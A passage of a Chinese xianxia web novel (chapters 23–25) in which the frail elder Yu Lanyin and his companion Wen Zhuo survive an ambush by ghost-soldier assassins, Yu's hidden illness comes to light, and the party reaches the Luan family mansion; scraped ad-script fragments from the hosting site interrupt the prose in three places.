温卓了然,上前替玉阑音揽了揽披风,“人齐了,走吧。” 玉阑音摩挲着暖炉,“嗯,走吧。” 随后温卓一个缩地术便将四人带到了山脚下。 路旁两辆奢华至极的琉璃宝辇,全身是玲珑剔透的琉璃制成,镶金带银,其上雕刻龙头凤尾。 前一辆轿辇的马匹周身火红,悬着白色颈缨,画花银鞍,健壮不凡。 玉阑音眯了眯眼,仔细端详了一番,“火烧云?” 温卓应道:“嗯。” 火烧云其实只是北塞一匹普通小马,按理是不该能活到现如今的。但温卓念旧得很,自然是舍不得它,早早便往火烧云身上附了两分神识。 如今火烧云寿同温卓,正值壮年,很是飒爽。 玉阑音有些日子没见火烧云了,慈爱地伸手摸了摸它的马鬃,火烧云在他手下打了个轻轻的响鼻。 玉阑音好生看了它好一会儿,回头朝温卓一笑,“你把它养得很好。” 温卓看了玉阑音一会儿,却是不解风情似的摇了摇头,“有更重要的,没养好。” 玉阑音一哂,“难不成是你那金雕?” 温卓没再说话。 “哇,好漂亮的轿辇。”栾恪云正摸着琉璃宝辇,爱不释手。 栾恪心把栾恪云那东摸西摸的手抓了下来,朝着温卓拱了拱手,“有劳温兄,破费了。” 温卓礼貌地回了一礼,“栾兄客气。” 不过也不怪栾恪心多此一言,主要是因为这两架轿辇实在是奢靡得过了头。这两架宝辇可不是虚有其表,其内更是极尽骄奢。 宝辇内置了各色的宝石,四角银台之上四颗拳头大小的夜明珠,夜晚之时,宝光流转,照亮四方。 温卓半扶着玉阑音上了火烧云拉着的前车,栾家兄弟两个则是进了后车。 火烧云与后车的马得了温卓的令,缓缓动起身,上了路。 火烧云自小便有千里马之风,如今更是四蹄飞扬,疾驰而奔,但跑得又极稳,一路上没几个大颠簸。 车轿内,玉阑音从一上车便没骨头似的倚到了角落的长毛绒软垫上,温卓则是任劳任怨地在一旁替玉阑音剥着葡萄。 安详得很。 “蜀中栾家,如今是什么的情况?”玉阑音自然是没忘记此行的正事,慢悠悠吃着葡萄,问道。 温卓剥葡萄的动作不停,“栾家一族是如今蜀地第一大家族,权势极盛。相传栾家是铁匠铺出身,起初只是在街边替修行之人做佩剑,后来接了些法器生意,又得了些仙门机遇,这才一步登了天。如今旁门六族,男女老少加起来要有百人之余,查起来恐怕是要费些心思。” 玉阑音听了点点头,“我还在中原的时候,蜀地第一家族族姓还是百里。这么多年过去,果然是变了好多。” 温卓道:“栾家与百里一族素来不和,积怨已久。近些年,栾家繁盛之后,蜀地也传出不少传言,大概是说百里家族的没落也少不了栾家的手笔,诸如此类。” 玉阑音叹口气,“弱肉强食,倒是也不……” 还未等他一句话说完,忽然,一直平稳行使的马车猛地一歪。 随即是马车外“砰”一声巨响,轿前火烧云忽而的一声惊慌的响彻天际的嘶鸣。 23. 暗袭 车内的葡萄散落了一地。 温卓迅速伸出手将玉阑音往怀里一护,紧接着玉阑音的头就重重地垫着温卓的手撞到了轿壁上。 玉阑音回了神,手下用了些力,这才勉强稳住了身形。 身后栾恪心和栾恪云的轿辇自然是也没停稳,狠狠撞到了前方两人的车轿。 玉阑音和温卓又被撞得一个趔趄。 玉阑音皱眉,“发生了何事?” 温卓快步下车,试图去拽住受惊的火烧云。可刚一向外探头,他立刻往后一撤,大喊一声:“有刺客!” 话音未落,其外忽然传来一阵刀枪与箭矢破风的声音。 温卓当即便想调转灵力升个结界护住玉阑音,但他刚心念一动,忽然变了脸色,他道:“灵力被封了。” 玉阑音神色一凛。 温卓深呼吸一下,平稳了自己的呼吸和声线,他伸手碰了碰玉阑音锁紧的眉头,安抚似的沉声道:“坐好,别出去,我马上回来。” 随后一个翻身便出了轿门。 一时之间,刀剑相碰金戈铁甲铮锵之声更甚。 后车的栾家二子听到温卓喊的“有刺客”后也迅速下了轿辇,却同样发现了灵力被封。 伏击的刺客闻声而动,一个前刺朝着二人出了手,幸好二人皆为药术师,体术同样过关,反应得极为迅速,紧接着两个翻身便卷入到了交战之中。 二三十名刺客皆为光头,戴半面黑罩,身负玄甲,眉心竖向三点刺青,瞳孔灰白。 栾恪云腰上有佩剑,他手脚极快地抽了剑出来,左脚往后一退躲过了对方朝自己的致命一击,“是鬼士!” 鬼士,活人炼化而成,无自我意识,受士主控制,行动身法迅速,不惧伤痛,至死方休。 温卓无暇顾及栾恪云,他灵力被封,自然是化不出寒铁弓。 他只手中一把两掌长的短匕,杀气一起,一抹飞虹如电,直直刺入了面前鬼士的胸前,随后匕首一转一拉,直接削了这鬼士的半边身子。 随后他一个侧身,横刀一格,挡了右侧鬼士的一剑,剑光回旋,挺刀反攻过来,一个箭步朝着鬼士的脖子侧刀一抹,血如泉涌。 栾恪心手上没有武器,沉默着赤手空拳同这群刺客拳脚相搏,虽然动作已经极快,但身上仍有些刀剑擦伤。 他一边对付着鬼士,一边分了神注意着他那不省心的弟弟,思念一动,忽而又想起他们那娇弱的无上长老。 于是栾恪心在百忙之中往玉阑音轿辇中一看—— 轿辇中居然没了玉阑音的踪影! 栾恪心面色一变。 他们这个无上长老弱柳扶风,若真的是被虏了去那可怎么能活!十方宗还不得变了天! 栾恪心如此想着,忙转头四处去寻。 可刚转开头,一名鬼士口衔一刃破风而出,迅捷无比朝他袭来。 栾恪心当即便意识到了自己的大意,听着那道风声,心下一惊。 遭了!要躲不开了! 他竭尽所能用最快的速度侧开脸,努力让脆弱的眼睛避开刀尖,尽可能侧让开这致命一击,与此同时绷紧肌肉,随时准备承受下这凶狠的一刀。 可预想之中的疼痛并没有袭来。 迎面袭来的是一阵浅淡的草药香的风。 随后是一声脖颈断裂的“咔嚓”声与重物坠地的一声巨响。 栾恪心心神一凝,迅速睁开眼朝前看去。 只见他前方背对着他站着一散发男子,一身不便行动的文人宽袖长袍,肩上甚至还挂着一件歪了的披风。长风猎猎,这人的长发飞舞,发梢触着栾恪心的鼻尖,很痒。 正是他方才忧心的“娇弱”的无上长老本人——玉阑音。 玉阑音伸了手扭断了这鬼士脖子之后,甚至是颇为优雅地抽出一只手正了正披风。 忽而他眼眸微动,又是一个附身侧躲,五指作爪,直接抓了侧方偷袭而来的鬼士的头,“咚”一声巨响将其按到了地上的巨石之上,鲜血喷涌,血沫横飞。 他看着自己一手血红,颇为不适地眯了眯眼,随后抬眼看向栾恪心,他温和地笑起来,声音极温润:“不要走神。” 刀剑之声忽然间似乎是凝滞了,栾恪心一时间只能看到、听到他们浅笑着回头的无上长老。 栾恪心心一颤。 身后的温卓忽然听到了玉阑音的声响,面色迅速一沉,当即便几个狠劲儿甩开了几个鬼士朝玉阑音方向赶来。 玉阑音看着温卓由远及近,突然,玉阑音神色一厉,猛地伸手把还未完全走近的温卓往自己身前一搂。 “噗呲”一声剑划破衣服与血肉的令人牙疼的声音响起。 温卓顿一下,等了一会儿发现自己身上并没有任何疼痛传来,这才慌忙往玉阑音身上看去—— 只见玉阑音的披风连带着袖口的衣服被鬼士的剑划破,左臂已经被短剑贯穿,甚至短剑都还拔出去,就这么扎在胳膊上。 “阑音!”温卓低声一吼。 玉阑音垂眼看一眼自己手臂的伤,随后笑起来,不甚在意拍了拍温卓的头顶,“大呼小叫做什么。” 话音未落,玉阑音面上面色不变,甚至依旧挂着笑意,利落地伸手拔出了手臂上的短剑,一甩血珠,一个迅速的动作将这短剑插进了这鬼士的脖子。 温卓脸上被血液喷溅得一片血红,已经分不清哪些是敌人的,哪些又是他身旁玉阑音的。 “阑音!”他眼睛顿时红了。 他收着力将玉阑音抓回来,按到了栾恪心身边,深深看玉阑音一眼,随后动作极快地扑向那还剩的七八鬼士。 一时间便是刀剑划破皮肉的声响四起,血花四溅,温卓已然杀红了眼。 被安置到栾恪心身边的玉阑音见状,摇摇头叹了口气,“一惊一乍的,什么时候能沉稳些。” 栾恪心:“……” 随后栾恪心看着前方的玉阑音转过了头,笑意盈盈,“你有无大碍?受伤了没?” 栾恪心稳了稳心神,“无事,多谢无上长老。” 玉阑音上下扫过栾恪心,确定他身上的伤只是些擦伤,点了点头,“嗯,那就好。” 两人短短说话间,最后一名鬼士已经被温卓一个用力,拔了个身首分离。 栾恪云也终于气喘吁吁地累瘫到了地上,哆哆嗦嗦地把剑入了鞘,“这群鬼士真是……累死姑爷爷我了。” 栾恪心瞪了一眼出言不逊的栾恪云。 栾恪云委屈巴巴瘪了瘪嘴,嘟囔道:“干什么嘛,长老也没说什么嘛……” 玉阑音的确是没注意到这兄弟二人。 他此时正单手搂着披风,蹲到了一旁的地上,拿没受伤的右手在地上拨弄了些什么。 温卓眨了个眼的瞬息便收起了匕首,粘回到了玉阑音身旁。 “阑音!”温卓急切地喊道,想将他从地上拉起来细细查看他一番。 “急匆匆的,不稳重。”玉阑音轻拦住温卓的手,下巴一点,“你看,有个法阵。” 地上竖着一根桃枝,周围五颗环绕石子,在轿辇之外更远的地方,四角可见四个更大一些的圆石,看起来的确是个法阵的模样。 温卓却连看都没看,只皱着眉小心地抓起了玉阑音半遮半掩的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手。 他这才看到,玉阑音藏在背后的左臂,整个袖摆都被染红了,鲜血甚至顺着袖摆最下端“嘀嗒嘀嗒”往下滴。 温卓的手瞬间开始发抖,眼仁不受控地震颤了起来。 玉阑音任由着他拉着自己的手,无奈地叹一口气,“事发突然,饶了我这次吧,嗯?” 温卓狠狠瞪他一眼。 玉阑音眨眨眼,也不再说这些,审时度势地开始顾左右而言他:“这法阵被称为‘绝言’,阵眼五颗石子代表金木水火土五象。万物之灵踏入阵中皆会同外界失去联系,修士更是连万物之气都无法调动,便会产生灵力被封的假象。” “嗯,”温卓敷衍地点头,但他看起来对这阵法完全不感兴趣,“手怎么样?还能动吗?” 玉阑音轻松地晃晃左臂,“那是自然,区区小伤。” 一旁栾恪云凑近了,也看到了玉阑音这牙疼的伤势,开口道:“温兄啊,我和我哥是药术师,应该能帮上一二。” 栾恪心睨了栾恪云一眼,“无上长老自己便是药术师。” 栾恪云挠挠头:“哦,对哦。” 玉阑音听得一笑。但这一笑似乎是耗光了他的绝大部分生气,唇色瞬间退了个干净,一张脸一时间成了白纸。 他甚至没动手,只轻轻抬脚把五个石子里的一个踢了两下,踢到了更靠下的位置。 瞬间,在场所有人忽然便感觉耳畔一阵风声,随后便是灵力充盈了全身的通透之感。 法阵破了。 这人只是随意踢了踢这石子,居然就将这阵破了。 玉阑音迎着风咳了两声,这才转头笑着同栾家两个年轻人道:“我这伤寻常法术帮不上忙,只能养,多谢两位小友关心了。” 栾恪心栾恪云对这话自然是二丈子摸不到头脑,只有温卓颤抖着吸了口气。 玉阑音所说的也是温卓最担心的事情。 若玉阑音真的是寻常人那倒是好办了,四个人里三个药术师,怕是丢了半条命都能鬼门关前把人救回来。 但问题就是玉阑音不是寻常人。 法术对他没有效果,他丢半条命,那就是真的丢半条命。 玉阑音哄人似的拍了拍温卓,朝他眨眼笑笑,“好啦,别……” 温卓猛地把他的手打掉,“嬉皮笑脸,阑音,你……” 他咬咬牙,看着玉阑音开始发白的脸颊,最后还是将剩余的责备的话咽了回去。 玉阑音看着他强忍怒火的脸,终于有了些眼力见儿,知趣地双手揣着袖子也闭了嘴。 温卓皱着眉把假装乖巧着的玉阑音推进了轿辇,一个大复原术收拾了这一地的狼籍,又简单安抚了火烧云和后辆轿辇的黑马。 紧接着,温卓回身朝栾恪心拱了拱手,“栾兄,借令弟一用,不胜感激。” 栾恪心礼礼貌貌也拱了拱手,“若家弟能帮到长老一二,实属荣幸。” 栾恪云:“……”不是,你们是在说我吗?就没人问问我的意见吗? 栾恪心至若未闻,一把大力将栾恪云推了出去。 于是,最终是三人在了第一辆轿辇中上了路。 轿辇中,玉阑音因为失血开始头晕,半阖着眸子倚在长绒软垫中,一旁栾恪云手搭在玉阑音腕上。 温卓神色中是化不开的忧虑,他揉揉自己绷紧了许久的眉心,睁开了眼,眼中是一片红色。 他问栾恪云的声音很紧,“他怎么样?” 栾恪云细细摸着手下的这脉象,越摸越沉默,直到最后,两条眉毛简直是要拧成了两条大麻花。 他迟疑着看了温卓一眼。 24. 药术 温卓看着神情闪烁的栾恪云,心里一沉。 他抬抬手拨开玉阑音额前汗湿了的发丝,玉阑音似乎毫无察觉,纹丝未动依旧依靠在轿壁上。 车轿哐啷哐啷地响,火烧云马不停蹄。 温卓终于看向栾恪云,“说吧,无事。” 栾恪云松开了把着脉的手,检查了检查刚才帮玉阑音包扎的伤口,伤口依旧汩汩向外渗着血,毫无愈合的迹象。 都不用说温卓了,栾恪云这个外人见了都心尖一疼。 栾恪云的药术学得绝对不差,但他见到恢复如此差的伤患,还是不由地怀疑了一下自己。 随后心虚地抬眼瞟了一眼满脸风雨欲来摧满城的温卓。 温卓直勾勾地对上了栾恪云的眼睛。 温卓瞳仁漆黑,除去与玉阑音一起,其他大部分时间都如一潭死水。此时他目光沉沉,眼中毫无光亮,有的只是怪物失控之前,地壳之下岩浆的蠢蠢欲动。 这眼神叫栾恪云直接从头到脚清凉了个通透。 他头脑空白了好一会儿,最后才慢吞吞地坐直了身体,心中腹诽:这世间哪有修士能这么邪性?若不是知道他是十方宗名门正派出身,都要以为是个什么修炼邪术的鬼修了。 温卓就这么盯着栾恪云,随后自认为控制地很好友善地又一次道:“栾兄,请说。” 栾恪云:“……” 如果你不是拿这种“你若是说得我不爱听我一刀把你捅死”的眼神看我,这话就更有说服力了。 不过心里编排归编排,面上栾恪云只是一顿,随后便开了口:“无上长老他——状态很差……大概是要叫其差无比。” 栾恪云说到底也是个药师,说着说着便也忧心忡忡起来,“我也不引经据典说那些书本里的话了,有句话可能不太好听,但我还是要说,温兄,我上次摸到这样的脉象,还是在死人身上。” 听了这话,温卓的面色忽然褪色褪得同玉阑音没了两样。 栾恪云其实原本不打算说这些话刺激人的,但是看着玉阑音那糟糕的面容,他突然感到一些源自于医者仁心的心疼。 他道:“方才车轿前行,我伸手去摸长老的脉象——若不是知道长老只是晕了过去,我可能就要说这脉是死脉了。脉象极为虚浮,混着马车声简直是要摸都摸不到。” 温卓忽然垂下了头。 栾恪云看着这总一副睥睨天下生人勿近模样的同门之人,忽然像是稚童般脆弱地塌了肩膀。 “他……从未告诉过我这些。”温卓的声音几乎称得上破碎,“我知道他身体不好,灵脉大抵也是有伤病,虚空,也没了灵力,用法术只能借着外界元灵气用,我只知道……我只知道他身体不好。我只知道他身体不好。” 温卓垂着头,一字一顿地,这句话说了好几遍。 他声音极轻,栾恪云听着都不真切,更像是温卓自己的自语。 直到温卓抬起头。 栾恪云迎着温卓通红的眼眶,一时被震撼得无言。 他看着这双眼睛,也说不出更重的话了。 “你不是药术师,不懂这些也正常,不必太过自责。”栾恪云叹口气,斟酌了字句,语气也缓和了不少,“灵脉只是一方面,最差不也能抽了灵脉做个普通人不是?但另一方面才是我今日要提醒你的,方才我探长老脉象虚浮,除去长老身体确实抱恙,更像是心脏有损。” 温卓眼眸微动,其内像是有水光一闪而过,“心脏……有损?” 栾恪云沉重地点点头,“对,我只能探出,长老心脏这不太像是寻常的损伤,再细探就像是镜花水月般看不真切,倒像是长老自己作的障。有机会叫我哥也来看看,可能他会知道。” 他拍拍温卓垮了下来的肩膀:“别太自责。今后多加注意,可能也……不会有大碍。只是不能再如此般受伤了。我用的都是顶级草药,但长老身体太亏空,你瞧,这草药敷上这么久了,倒是一点止血迹象都没有,这不是好事。这刀剑划伤胳膊是小伤,若是别的……” 栾恪云适时地住了口。 温卓自然是明白他的意思。 他没说话,也没什么动作,他只是真的不知道如何是好了。 他神色近乎请求地问栾恪云道:“那……如今这伤口……” 栾恪云叹口气,摇摇头:“只能如此养着了,法术对长老没什么效果,除了由着他自己恢复,别无他法。” 说完后,栾恪云将玉阑音左臂粘湿了血液的包扎布摘了下来,挑着新草药,打算多加些止血的药材再包扎一遍。 玉阑音对此毫无察觉。 “其实本来还想提醒你些别的的,不过……”栾恪云手下动作不停,“现在看来大概是不需要了。” 温卓目光沉沉盯着他换药的手,生怕栾恪云动作大了,弄疼了玉阑音。 栾恪云纳罕一看他:“你在这儿盯着我做什么?我若是换个药都出了问题我这药术师还当不当了?直接抽了灵脉自刎得了。” 温卓不理他,仍旧是盯着,目光一瞬不转,“你刚才说的,是要提醒我什么?” “哦,就是想说——因为你不是药术师嘛,可能不太懂,疗愈法术其实没有那么神奇,也不是什么万能的灵丹妙药。”栾恪云垂着头挑着草药,有一搭没一搭慢慢道,“无论是什么法术,本质皆为气,取之与气,用之于气,疗愈法术也不例外。” 栾恪云越说越慢,注意力越来越集中到手上,“……诶,说着话果然是容易分神,这险些挑错药了。” 温卓往他手里一看,尽是些花花绿绿的中药材,他一窍不通,看了就头疼,颇为敷衍地“嗯”一声就做了罢。 不过栾恪云很快就继续说下去了,“……这疗愈法术比起说是‘治疗’,倒不如说是‘转移’。你想想,那么大一个口子,说不疼就不疼了,这和见了鬼有什么区别?总要有什么东西承受才是。一般药术师是会将其转移到外物之气中,久而久之就随着风啊,雨啊,消解掉了。” 温卓听着,眉头越皱越紧。 栾恪云没发现他的神情,嘴依旧一停不停,“不过,长老如今的状况的本质就是,他作为有灵脉的灵体,同外界的联系太稀薄了。若是现在的长老施个疗愈法术,恐怕是很难将伤口之气转移出去的,很大可能便是要内化了……诶!你好端端突然拉我手干嘛!” 温卓忽然伸出手死死抓住了栾恪云的手腕,抓到他的手指都泛了白,“你说……什么?” 栾恪云辛辛苦苦挑的草药撒了一地,他看的心里简直要冒火,“我说!长老现在施疗愈法术大概是要转移到自己体内内化!听懂了吗!” 温卓的手几乎是支撑不住了,无力地从栾恪云胳膊上滑下。 栾恪云气哄哄地俯下身捡草药,一边道:“真是的……不过你方才也说,长老灵脉虚空,好多年用不了法术了对吧?也算是好事……” “栾兄。”温卓忽然打断了栾恪云的话。 他的声音嘶哑无比,栾恪云骤然一听,几乎都要辨不清他在说什么,好生便认了一番,才道:“嗯,干嘛?” 温卓似乎是吸了口气,“栾兄,阑音他先前在北塞……你知道北塞之人如何称他的?” 温卓不是一个情绪外见的人,但此时他的脸比哭还要难看,近乎透着一种沉重的悲哀,栾恪心看得一时动容,“……嗯,称作什么?” “药郎。”温卓垂着眼睛,声音极轻,“他在北塞,住在药居,被称作药郎,是……治病救人的。” 栾恪云手一抖,刚捡到手里的草药再度如散花般,飘落一地,又寂静无声。 温卓轻语:“你说他的病不是一蹴而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就,他在北塞几十年、几百年,他……” 他心疼到难以继续说下去。 直到他颤抖着伸出手,将玉阑音鼻尖上的汗珠擦去,玉阑音忽然惊醒般睁开眼睛。 温卓一个屏息,“阑音?你醒了?” 玉阑音眸子骤然睁开有些模糊,他眨了眨眼闪烁了几下才看清眼前人,“哦,是你们两个。” 栾恪云如今对玉阑音的态度除了尊敬以外,又多了些他说不太清的其他情绪,他神情复杂地看了一会儿玉阑音,老老实实拱了拱手,“无上长老。” “这么客气做什么,”玉阑音一笑,又垂了眸示意了一下自己左臂的伤口上的包扎,“倒是我要向你道谢。” 栾恪云连忙摆手,“别别别,长老这么说真是折煞了,这就是捎带脚的事儿。” 两人说话间,温卓已经收尽了眸中红色。 他面色看起来如常,倒了杯热水递到了玉阑音嘴边,沉声道:“先喝些水吧。” 玉阑音头晕得厉害,听着温卓的声音嗡嗡作响,如在天边,他半蒙半猜地“嗯”一声,随后就着温卓的手喝了口热水。 温卓本就难受,看着他这副行将就木的模样更是心疼地一整颗心要碎裂开来。 “都别拉着张脸啊,两位小公子。”玉阑音很快就看出了面前两人的沉重的面色,他苍白又状似轻松地一笑,“别看我这副模样,想死那可是比想活都难,放下心吧。” 温卓自然认为他在说瞎话,垂头不语,只看着玉阑音手腕上的一串佛珠,不知在想什么。 玉阑音顺着他的目光一看,笑起来,“怎么,喜欢?送你玩去。” 说完便要伸手摘下来。 温卓看着他这伤患肆无忌惮做大动作的样子简直是又惊又怕,顾不上心里那陈年的酸涩与心疼了,连忙按住了他的手。 栾恪云看着两人这番对话,心里总是涩涩的不舒服,他目光在这串佛珠上流连了好几回,可算是逮着了个话题,佯装高兴地找机会开了口:“长老这串佛珠侧视佛光流转,看来定是有大机缘得来的吧?” “啊,是吗?”玉阑音抬抬手腕,“我不太懂这些。这佛珠是……别人送的,我不信佛,不懂这些。” 温卓忽然皱了眉,随后迅雷不及掩耳之势把他腕上这佛珠扒了下来,牢牢带到了自己手上。 玉阑音被他这霹雳无影手的动作搞得一愣,失笑道:“方才我要送你你不让,现在倒是比谁都急。” 栾恪云啧啧两声,多看了佛珠几眼,“那这佛珠是求的平安?” “嗯……”玉阑音似乎是思考了一番,“也可以这么说吧。不过事实是没这么好听,大概是求我不死罢。” 一直沉默听着的温卓再次闻声而动,脸色不是很好地,不由分说迅速把佛珠戴回到了玉阑音手腕上。 玉阑音这回真的是笑出了声,笑够了,温和地拍下温卓的头,“傻小子。” “咦,”栾恪云忽然惊讶道,“长老的伤口止血了。” 温卓比玉阑音更关心玉阑音的身体,连忙也看去,只见新的包扎布上果然是没再渗出血液。 “我都说了,我可是很难死的,”玉阑音笑意盈盈,朝温卓低声耳语,“就信我这最后一回吧,嗯?” 温卓的呼吸都在颤抖,他终于忍不住,伸手将玉阑音冰凉的手抓进了手中。 温卓的手心很烫,甚至是不知为何掌心潮湿着。 玉阑音并不是个喜欢同别人触碰的人,但他这些年与温卓这些年的相处却从来没忌讳过这些,倚倚靠靠的接触可是一点也不少。 但这次是第一次,玉阑音敏锐地察觉到这次双手相握中,汗湿的掌心中,有什么东西是同之前不同了的。 他正握住的,大概是一颗正跳动着的,滚烫的,却又总是三缄其口的真心。 25. 暗流 由于玉阑音意外的伤势,一行人本就慢的车程如今更是慢了下来。 悠悠晃晃近一个月,两辆轿辇终于缓缓入了蜀中。 一路舟车劳苦,玉阑音身体也没什么机会静养,靠着一大麻袋灵丹妙药吊着口气,勉强只恢复了个五六成。 栾恪云和栾恪心其实一开始对玉阑音是颇有微词。 毕竟放眼整个十方宗,如此“无用”的长老真的是提着灯笼都难找,地位却是力压掌门的无上长老,一言九鼎,让谁来谁都要不服。 不过现在,不说别人,单论这栾恪心和栾恪云,那必然是被驯服得服服帖帖老老实实了。 玉阑音身边的狗腿子,也从单调的温卓一人,正式进化成了壮阔的三人行。 在这一路上,温卓甚至是头一回感受到了,照顾玉阑音居然要“抢着干”的陌生感受。 经常是,温卓的苹果还没切囫囵个,栾恪云雕的苹果花已经送到了玉阑音手里,甚至颇为沉默寡言的栾恪心都绕着玉阑音忙里忙外。 温卓对此甚至感到了莫名的危机感。 不过好在玉阑音这人很是亲疏有别,对待温卓的态度仍旧是偏爱得很,多少也顺了顺温卓的毛。 说到这舟车旅途。 一行人前脚进了蜀中这栾家地盘,后脚,栾恪云便直接飞寄几封家书,一行人已经被牵着领着,没出一天,便利利索索完好无损地落地了栾府门前。 栾恪云身位栾府主人,却很是屁颠颠凑上前,欲将玉阑音从轿辇中搀出来。 温卓看着栾恪云不知死活伸出来的手,表情冷得能冻死人。 玉阑音颇为无奈拿折扇拍了拍栾恪云的手背,“恪云费心了,不过不必如此照顾,普通宾客相待便是。” 随后他还是扶了扶温卓的胳膊才下了轿辇。 落了地,他像是做了什么大动作似的,又好生平复了一番呼吸。 栾恪云对玉阑音的“偏心”早已习惯,也不觉得不得劲,乐乐呵呵把手收回来,“哪里的话,长老光临鄙舍,鄙舍才是要蓬荜生辉。” 玉阑音又敲他一下,“油嘴滑舌。” 温卓不理会这些人的拌嘴扯皮,轻轻拍着玉阑音的背,替他顺气。 栾恪心则是做的比说得多,说话间已经开了栾府大门,“天色不早了,各位先请进。” 栾氏不愧是蜀中第一家族,这主府的确很是气派。 四向厢房建得极为用心,屋檐脊兽一个不落,前中后三厅更是华贵。 这种奢华不算张扬,不过倒也是很顺玉阑音的心意。 “长老觉得怎么样?我们栾家这看着不算寒碜,是不是?”栾恪云跟在玉阑音身后,活像个开屏的孔雀。 都不用玉阑音开口,栾恪心也终于是忍无可忍,一把将这翘尾巴的孔雀拉回到了自己身边。 这时候,里屋才跑来个下人模样的年轻孩子,长得胖胖的,很喜庆。 他匆匆忙忙地迈着步子跑来门前,一见来人,则更是笑得没了眼睛,远远便喊道:“大少爷!二少爷!” 栾恪云没什么架子地也摆摆手,“阿福,你来了!” 阿福跑近,一上来就先把四人手里的大包小包都搂到自己身上,“少爷们回来怎么都不响个门?蜀中路不好走,两位客人一路来是不是也累坏了?” 玉阑音和温卓客客气气一拱手。 随后还不等别人继续说话,阿福已经又开了口:“今下午收到二少爷的家书,小的已经将两位少爷的屋子和客房都收拾好了,老爷夫人在厅房,厨房正在准备膳食,大概很快就可以安排各位用膳了。” 栾恪云随即道:“是呀,长老,您快和温兄两人先去屋里休息休息,待到用膳时我去叫你们。” 一直默不作声的温卓闻言,忽然神情莫测问了句:“我们二人一间屋子?” 栾恪云有些奇怪:“当然是两间了。你和个病号挤什么,有良心么?” 温卓的脸似乎是瞬间就垮下来了:“哦。” 玉阑音一哂,朝栾恪云抱抱拳,揶揄道:“那要拜托恪云安排个近些的屋子了,他年纪小,离不开人,我这做师尊的就得委屈委屈了。” 栾恪云大惊失色:“啊!原来是这样!” 温兄瞥玉阑音一眼,没说话。 栾恪心却是目光在两人脸上徘徊了一番。 不过用膳时间很快就到了。 大概是因为栾恪云提前的知会,栾家老爷和夫人对于二人的来访并不意外,甚至是为了两人的到来特地收拾了小宴厅,玉盘珍馐,觥筹满目。 栾家老爷名栾路安,是个不苟言笑的封建大家长。连栾恪云这种皮猴子,自从进了宴厅都老实了很多。 栾夫人笑着迎玉阑音和温卓入了座,“听说二位是吾子宗门内长老和师叔,今日一见果然是气度不凡。” 超级加辈的小师叔温卓:“……” 温卓:“不敢当。平辈,平日以兄友相称。” 栾夫人看起来极为年轻,眼角皱纹都是少之又少,听了这话柔柔笑开:“那怎么行,切不能乱了辈分。” 还没等温卓再推辞,栾恪云倒是极其没皮没脸,痛痛快快喊了句:“师叔!” 温卓:“……” 玉阑音笑眯了眼,也打趣地拍拍温卓的肩膀。 随后玉阑音和温卓同栾路安点头致意,便前后脚地随着双生子落了座。 栾路安忽然便对着栾恪云和栾恪心皱起了眉头,“你们两人怎么越活越不知礼了?不给客人斟满酒便坐下,谁的规矩?” 栾恪云有些愣,当即便诚心地回道:“长老身体不好,不便饮酒……” 栾路安眉心又是一拧打断了他:“还敢回嘴?” 栾恪云脸青一阵白一阵,畏畏缩缩地闭了嘴。 玉阑音见状,笑着出来打圆场:“伯父何必如此客气,我师徒二人不胜酒力,闻见酒气都要晕上一晕,于是特意嘱咐了恪心恪云不必备酒。” 温卓随即也拱了拱手:“伯父一番心意,我与……师尊,心领了,不必苛责栾兄二人便是。” 玉阑音还是头一回听见温卓喊他师尊,一时还有些惊奇,一揣折扇,笑盈盈看向温卓。 温卓至若未闻,目不斜视瞧着别处。 栾路安剜了栾恪云一眼,随后朝着玉阑音二人客客气气道:“小儿家中无礼惯了,二位见笑了。” “这便是伯父过谦了,”玉阑音将目光从温卓身上收回,笑道,“在下抱恙,一路多亏恪心恪云尽心尽力照顾,心中甚为感激。” 随后玉阑音又是和这位栾家老爷你推我往地打了好一圈太极,才算是做了罢。 温卓则是在一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁直勾勾盯着。 他自小札布萨长大,一向不喜欢中原人这种黏黏糊糊的废话,现在能满口客气的客套话也不过是为了少惹是生非,不得已而为之。 但玉阑音似乎极为擅长且习惯这么做。 温卓不喜欢这种言之无物,但他只是十分喜欢看着玉阑音。 随后的饭桌上,大概是因为这点小插曲,气氛始终是十分地沉闷,没什么人开口。 不过也不知栾路安是不是有些针对他这个小儿子,饭桌上为数不多的开口,几乎全都是似有似无地训斥着栾恪云,几回下来,把栾恪云说得低头耷拉脚。 玉阑音这种时候也不好搭话,只时不时抬眸,状似无意地往栾路安和两个年轻人脸上扫过。 一顿饭吃得食不知味,玉阑音本身便生着病,没什么胃口,很快便以身体不适为由,带着温卓提前告退了。 两人的客房果然是隔壁邻间。 玉阑音似乎是真的累极了,回了屋便分外无精打采。如今正双眸紧闭秀眉微蹙,半倚半靠地坐在镜前的软椅里。 温卓在玉阑音屋里,帮着他收拾好床铺,随后十分贴心地替玉阑音梳发按摩。 这时,他才像是得了机会,压低了声音,开口唤了玉阑音一声:“阑音。” 闻言,玉阑音原本阖着的眸子骤然睁开,可此时的他双眸清亮,甚是清明,哪有一丝一毫方才的倦意。 他从镜中同温卓对视,眼中含笑:“你也发现了?” “嗯。”温卓点点头,“刚才路过前厅,我向内一看,见金戈与佛器众多,摆放皆顺应八卦九宫,另外厅正中一泰山石鱼池。虽未见全貌,但据所见之器的位置推测,大约是个聚灵阵。” 玉阑音十分满意地点点头:“阵法学得还挺好,也是善玄教的?” 温卓垂眸:“算是吧。” “撒谎,”玉阑音笑着抽出折扇,轻轻拍他手背一下,“善玄的阵法一窍不通,他若是能教导了你,那可真是太阳从西边就要升起来了。” 温卓垂眸专心替玉阑音按着头,“嗯,闲来无事自己学了些。” 玉阑音笑了下,他松松肩膀,往椅背上一靠,接着前话道:“你看得的确不错,前厅的阵法便是大聚灵阵,有固魂安神之效。这种阵法,入门容易精通难,功力不够效果便是微乎其微,而若是功力足够,亡魂鬼魂之灵都能困于其中,是为大阵。” 温卓应了一声:“我粗略一看,其中不少法器之上的阵符皆为大印,大概是阵势不小。” “我这般身体,来到栾府之后都觉得周身灵力充沛,那必然是有些法力的聚灵阵。”玉阑音道,“这倒真叫我记起了那炉阵。原本以为栾氏旁门众多,四处寻访定是要少不了,但没想到这直接是送到了手边来。” 温卓点了点头,示意自己知道了。 